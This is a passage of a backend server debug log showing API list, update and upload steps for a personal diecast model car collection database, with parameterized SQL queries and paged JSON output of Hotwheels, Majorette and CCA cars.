    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:05:47.607Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 117,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 135,
      model_name: '23 RAM 1500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:05:52.624Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:05:52.624Z server-connect:app Executing action step identify
2026-02-03T13:05:52.624Z server-connect:app options: { provider: 'security' }
2026-02-03T13:05:52.624Z server-connect:output identity: 1
2026-02-03T13:05:52.625Z server-connect:app Executing action step restrict
2026-02-03T13:05:52.625Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:05:52.625Z server-connect:output restrict: undefined
2026-02-03T13:05:52.625Z server-connect:app Executing action step condition
2026-02-03T13:05:52.625Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:05:52.625Z server-connect:app Executing action step update
2026-02-03T13:05:52.625Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:05:52.626Z server-connect:output update: { affected: 1 }
2026-02-03T13:05:52.626Z server-connect:app Executing action step upload
2026-02-03T13:05:52.626Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:05:52.626Z server-connect:output upload_image: []
2026-02-03T13:05:52.626Z server-connect:app Executing action step repeat
2026-02-03T13:05:52.626Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-03T13:05:52.626Z server-connect:output repeat_images: []
2026-02-03T13:05:52.626Z server-connect:output condition: undefined
2026-02-03T13:05:52.827Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:05:52.827Z server-connect:app Executing action step identify
2026-02-03T13:05:52.827Z server-connect:app options: { provider: 'security' }
2026-02-03T13:05:52.827Z server-connect:output identity: 1
2026-02-03T13:05:52.828Z server-connect:app Executing action step restrict
2026-02-03T13:05:52.828Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:05:52.828Z server-connect:output restrict: undefined
2026-02-03T13:05:52.828Z server-connect:app Executing action step paged
2026-02-03T13:05:52.828Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:05:52.831Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 117,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:05:57.800Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:05:57.800Z server-connect:app Executing action step identify
2026-02-03T13:05:57.800Z server-connect:app options: { provider: 'security' }
2026-02-03T13:05:57.800Z server-connect:output identity: 1
2026-02-03T13:05:57.800Z server-connect:app Executing action step restrict
2026-02-03T13:05:57.800Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:05:57.801Z server-connect:output restrict: undefined
2026-02-03T13:05:57.801Z server-connect:app Executing action step paged
2026-02-03T13:05:57.801Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
